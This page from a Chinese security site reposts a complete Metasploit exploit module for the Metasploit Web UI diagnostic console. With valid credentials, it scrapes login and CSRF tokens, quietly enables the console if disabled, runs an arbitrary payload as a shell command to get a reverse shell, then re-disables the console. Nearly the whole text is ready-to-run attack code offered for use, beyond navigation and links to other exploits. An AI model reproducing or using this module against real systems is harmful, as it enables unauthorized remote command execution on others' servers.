首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Metasploit Web UI - Diagnostic Console Command Execution
来源:metasploit.com 作者:Steven 发布时间:2016-09-23  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Metasploit Web UI Diagnostic Console Command Execution',
      'Description'   => %q{
        This module exploits the "diagnostic console" feature in the Metasploit
        Web UI to obtain a reverse shell.
 
        The diagnostic console is able to be enabled or disabled by an
        administrator on Metasploit Pro and by an authenticated user on
        Metasploit Express and Metasploit Community. When enabled, the
        diagnostic console provides access to msfconsole via the web interface.
        An authenticated user can then use the console to execute shell
        commands.
 
        NOTE: Valid credentials are required for this module.
 
        Tested against:
 
        Metasploit Community 4.1.0,
        Metasploit Community 4.8.2,
        Metasploit Community 4.12.0
      },
      'Author'        => [ 'Justin Steven' ],    # @justinsteven
      'License'       => MSF_LICENSE,
      'Privileged'    => true,
      'Arch'          => ARCH_CMD,
      'Payload'       => { 'PayloadType'  => 'cmd' },
      'Targets'       =>
        [
          [ 'Unix',
            {
              'Platform'   => [ 'unix' ]
            }
          ],
          [ 'Windows',
            {
              'Platform'   => [ 'windows' ]
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate'  => 'Aug 23 2016'
      ))
 
    register_options(
      [
        OptBool.new('SSL', [ true, 'Use SSL', true ]),
        OptPort.new('RPORT', [ true, '', 3790 ]),
        OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]),
        OptString.new('USERNAME', [ true,  'The user to authenticate as' ]),
        OptString.new('PASSWORD', [ true,  'The password to authenticate with' ])
      ], self.class)
  end
 
  def do_login()
 
    print_status('Obtaining cookies and authenticity_token')
 
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'login'),
    })
 
    unless res
      fail_with(Failure::NotFound, 'Failed to retrieve login page')
    end
 
    unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
      fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
    end
 
    authenticity_token = $1
    session = res.get_cookies
 
    print_status('Logging in')
 
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'user_sessions'),
      'cookie'    => session,
      'vars_post' =>
        {
          'utf8'                    => '\xE2\x9C\x93',
          'authenticity_token'      => authenticity_token,
          'user_session[username]'  => datastore['USERNAME'],
          'user_session[password]'  => datastore['PASSWORD'],
          'commit'                  => 'Sign in'
        }
    })
 
    unless res
      fail_with(Failure::NotFound, 'Failed to log in')
    end
 
    return res.get_cookies, authenticity_token
 
  end
 
  def get_console_status(session)
 
    print_status('Getting diagnostic console status and profile_id')
 
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'settings'),
      'cookie'    => session,
    })
 
    unless res
      fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
    end
 
    unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
      fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
    end
 
    profile_id = $1
 
    if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/
      console_status = true
    elsif res.body =~ /<input\W+.*\bid="allow_console_access"/
      console_status = false
    else
      fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
    end
 
    print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")
 
    return console_status, profile_id
 
  end
 
  def set_console_status(session, authenticity_token, profile_id, new_console_status)
    print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")
 
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'settings', 'update_profile'),
      'cookie'    => session,
      'vars_post' =>
        {
          'utf8'                    => '\xE2\x9C\x93',
          '_method'                 => 'patch',
          'authenticity_token'      => authenticity_token,
          'profile_id'              => profile_id,
          'allow_console_access'    => new_console_status,
          'commit'                  => 'Update Settings'
        }
    })
 
    unless res
      fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
    end
 
  end
 
  def get_container_id(session, container_label)
 
    container_label_singular = container_label.gsub(/s$/, "")
 
    print_status("Getting ID of a valid #{container_label_singular}")
 
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, container_label),
      'cookie'    => session,
    })
 
    unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
      print_warning("Failed to get a valid #{container_label_singular} ID")
      return
    end
 
    container_id = $1
 
    vprint_good("Got: #{container_id}")
 
    container_id
 
  end
 
  def get_console(session, container_label, container_id)
 
    print_status('Creating a console, getting its ID and authenticity_token')
 
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, container_label, container_id, 'console'),
      'cookie'    => session,
    })
 
    unless res && res.headers['location']
      fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
    end
 
    console_id = res.headers['location'].split('/')[-1]
 
    vprint_good("Got console ID: #{console_id}")
 
    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
      'cookie'    => session,
    })
 
    unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
      fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
    end
 
    console_authenticity_token = $1
 
    return console_id, console_authenticity_token
 
  end
 
  def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
 
    print_status('Running payload')
 
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
      'cookie'    => session,
      'vars_post' =>
        {
          'read'                    => 'yes',
          'cmd'                     => command,
          'authenticity_token'      => console_authenticity_token,
          'last_event'              => '0',
          '_'                       => ''
        }
    })
 
    unless res
      fail_with(Failure::NotFound, 'Failed to run command')
    end
 
  end
 
  def exploit
 
    session, authenticity_token = do_login()
 
    original_console_status, profile_id = get_console_status(session)
 
    unless original_console_status
      set_console_status(session, authenticity_token, profile_id, true)
    end
 
    if container_id = get_container_id(session, "workspaces")
      # target calls them "workspaces"
      container_label = "workspaces"
    elsif container_id = get_container_id(session, "projects")
      # target calls them "projects"
      container_label = "projects"
    else
      fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
    end
 
    console_id, console_authenticity_token = get_console(session, container_label,container_id)
 
    run_command(session, container_label, console_authenticity_token,
                container_id, console_id, payload.encoded)
 
    unless original_console_status
      set_console_status(session, authenticity_token, profile_id, false)
    end
 
    handler
 
  end
 
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Kerberos in Microsoft Windows
·Metasploit Web UI Static secre
·Microsoft Internet Explorer 11
·Android Stagefright MP4 tx3g I
·Kaltura 11.1.0-2 - Remote Code
·Linux Kernel 4.6.3 Netfilter P
·DllHijackAuditor 3.5 - Stack O
·FreePBX < 13.0.188 - Remote Co
·VegaDNS 0.13.2 - Remote Comman
·VLC Media Player 2.2.1 - Buffe
·Dolphin 7.3.0 - Error-Based SQ
·KeepNote 0.7.8 - Command Execu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved